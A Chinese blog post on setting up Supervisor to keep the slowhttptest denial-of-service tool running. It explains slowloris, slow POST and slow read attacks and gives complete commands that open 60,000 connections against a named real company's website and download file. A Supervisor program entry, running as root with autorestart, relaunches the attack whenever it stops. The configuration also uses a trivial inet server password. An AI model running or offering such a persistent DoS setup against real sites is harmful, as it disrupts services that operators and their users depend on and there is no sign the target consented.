slowhttptest和supervisor

supervisor

Supervisor(http://supervisord.org/)是用Python开发的一个client/server服务,是Linux/Unix系统下的一个进程管理工具,不支持Windows系统。它可以很方便的监听、启动、停止、重启一个或多个进程。用Supervisor管理的进程,当一个进程意外被杀死,supervisort监听到进程死后,会自动将它重新拉起,很方便的做到进程自动恢复的功能,不再需要自己写shell脚本来控制。

1. 安装

pip install supervisor

2. 生成配置文件

安装完成后系统多了一个命令 echo_supervisord_conf,可以 输出一份标准的配置文件

echo_supervisord_conf > /etc/supervisord.conf

3. 配置

[unix_http_server]
file=/tmp/supervisor.sock   ; (the path to the socket file)

[inet_http_server]         ; inet (TCP) server disabled by default
port=127.0.0.1:9009        ; (ip_address:port specifier, *:port for all iface)
username=user              ; (default is no username (open server))
password=123               ; (default is no password (open server))

[supervisord]
logfile=/tmp/supervisord.log ; (main log file;default $CWD/supervisord.log)
logfile_maxbytes=50MB        ; (max main logfile bytes b4 rotation;default 50MB)
logfile_backups=10           ; (num of main logfile rotation backups;default 10)
loglevel=info                ; (log level;default info; others: debug,warn,trace)
pidfile=/tmp/supervisord.pid ; (supervisord pidfile;default supervisord.pid)
nodaemon=false               ; (start in foreground if true;default false)
minfds=1024                  ; (min. avail startup file descriptors;default 1024)
minprocs=200                 ; (min. avail process descriptors;default 200)

[rpcinterface:supervisor]
supervisor.rpcinterface_factory = supervisor.rpcinterface:make_main_rpcinterface

[supervisorctl]
;serverurl=unix:///tmp/supervisor.sock ; use a unix:// URL  for a unix socket
serverurl=http://127.0.0.1:9009 ; use an http:// url to specify an inet socket

;[program:example]
;command=/bin/echo;         supervisor启动时将要开启的进程。相对或绝对路径均可。若是相对路径则会从supervisord的$PATH变中查找。命令可带参数。
;priority=999                   指明进程启动和关闭的顺序。低优先级表明进程启动时较先启动关闭时较后关闭。高优先级表明进程启动时启动时较后启动关闭时较先关闭。
;autostart=true                 是否随supervisord启动而启动
;autorestart=true               进程意外退出后是否自动重启
;startsecs=10                   进程持续运行多久才认为是启动成功
;startretries=3                 重启失败的连续重试次数
;exitcodes=0,2                  若autostart设置为unexpected且监控的进程并非因为supervisord停止而退出,那么如果进程的退出码不在exitcode列表中supervisord将重启进程
;stopsignal=QUIT                杀进程的信号
;stopwaitsecs=10                向进程发出stopsignal后等待OS向supervisord返回SIGCHILD 的时间。若超时则supervisord将使用SIGKILL杀进程

[program:slowhttptest]
command=slowhttptest -c 60000 -H -r 200 -w 10 -y 20 -n 5 -z 32 -u "https://www.cisdem.com/download/cisdem-pdfconverterocr.dmg" -p 5 -l 350
autorestart=true
exitcodes=0,2
redirect_stderr=true
stdout_logfile=/var/log/supervisord_server.log
directory=/tmp
user=root
priority=1

[program:python1]
command=python /root/start.py
autorestart=true
exitcodes=0,2
redirect_stderr=true
stdout_logfile=/var/log/supervisord_server.log
directory=/tmp
user=root
priority=1

4. 启动supervisor

supervisord -c /etc/supervisord.conf

  1. pkg_resources.DistributionNotFound: meld3>=0.6.5

解决办法:先卸载当前 meld3,之后用 pip install 安装指定版本即可

[root@mail ~]# pip list | grep meld
meld3 (1.0.2)
[root@mail ~]pip uninstall meld3 && pip install meld3==1.0.0

  1. pkg_resources.DistributionNotFound: The 'supervisor==3.3.1'

slowhttptest 文档

Slowhttptest是依赖HTTP协议的慢速攻击DoS攻击工具,设计的基本原理是服务器在请求完全接收后才会进行处理,如果客户端的发送速度缓慢或者发送不完整,服务端为其保留连接资源池占用,大量此类请求并发将导致DoS。

1. 安装

yum install slowhttptest 源码编译也很方便没啥坑,直接能成功

2. 参数说明

-g      在测试完成后,以时间戳为名生成一个CVS和HTML文件的统计数据
 -H      SlowLoris模式
 -B      Slow POST模式
 -R      Range Header模式
 -X      Slow Read模式
 -c      number of connections 测试时建立的连接数
 -d      HTTP proxy host:port  为所有连接指定代理
 -e      HTTP proxy host:port  为探测连接指定代理
 -i      seconds 在slowrois和Slow POST模式中,指定发送数据间的间隔。
 -l      seconds 测试维持时间
 -n      seconds 在Slow Read模式下,指定每次操作的时间间隔。
 -o      file name 使用-g参数时,可以使用此参数指定输出文件名
 -p      seconds 指定等待时间来确认DoS攻击已经成功
 -r      connections per second 每秒连接个数
 -s      bytes 声明Content-Length header的值
 -t      HTTP verb 在请求时使用什么操作,默认GET
 -u      URL  指定目标url
 -v      level 日志等级(详细度)
 -w      bytes slow read模式中指定tcp窗口范围下限
 -x      bytes 在slowloris and Slow POST tests模式中,指定发送的最大数据长度
 -y      bytes slow read模式中指定tcp窗口范围上限
 -z      bytes 在每次的read()中,从buffer中读取数据量
  • slowloris:完整的http请求是以\r\n\r\n结尾,攻击时仅发送\r\n,少发送一个\r\n,服务器认为请求还未发完,就会一直等待直至超时。等待过程中占用连接数达到服务器连接数上限,服务器便无法处理其他请求。
  • slow http post:原理和slowloris有点类似,这次是通过声明一个较大的content-length后,body缓慢发送,导致服务器一直等待
  • slow read attack:向服务器发送一个正常合法的read请求,请求一个很大的文件,但认为的把TCP滑动窗口设置得很小,服务器就会以滑动窗口的大小切割文件,然后发送。文件长期滞留在内存中,消耗资源。这里有两点要注意:
    1. tcp窗口设置要比服务器的socket缓存小,这样发送才慢。
    2. 请求的文件要比服务器的socket缓存大,使得服务器无法一下子将文件放到缓存,然后去处理其他事情,而是必须不停的将文件切割成窗口大小,再放入缓存。同时攻击端一直说自己收不到。

3. 示例

  1. Slow Read(-R)模式
    测试目标:https://www.cisdem.com 先打开网站找一个比较大的文件,因为,此模式访问文件越大越好. 最后选定https://www.cisdem.com/download/cisdem-pdfconverterocr.dmg
    slowhttptest -c 60000 -X -r 200 -w 512 -y 1024 -n 5 -z 32 -k 3 -u https://www.cisdem.com/download/cisdem-pdfconverterocr.dmg -p 3 -l 360

  2. SlowLoris模式
    slowhttptest -c 60000 -H -r 200 -w 10 -y 20 -n 5 -z 32 -u "https://www.cisdem.com/download/cisdem-pdfconverterocr.dmg" -p 5 -l 350

  3. slow post模式
    slowhttptest -c 60000 -B -g -o my_body_stats -i 110 -r 200 -s 8192 -t FAKEVERB -u https://www.cisdem.com/about/newsletter.html -x 10 -p 3 -l 3600

同一个网站,可以使用多种模式测试,有时候存在一个模式可用另外一个模式不可用的情况

为啥会同时提到supervisor 和 slowhttptest

Test ended on 41th second
Exit status: No open connections left

尽管可以配置 -l 参数 ,比如设置为3600 一个小时, 但没有连接的时候,slowhttptest就自动关闭了,所以使用supervisor来管理进程

你可能感兴趣的:(slowhttptest和supervisor)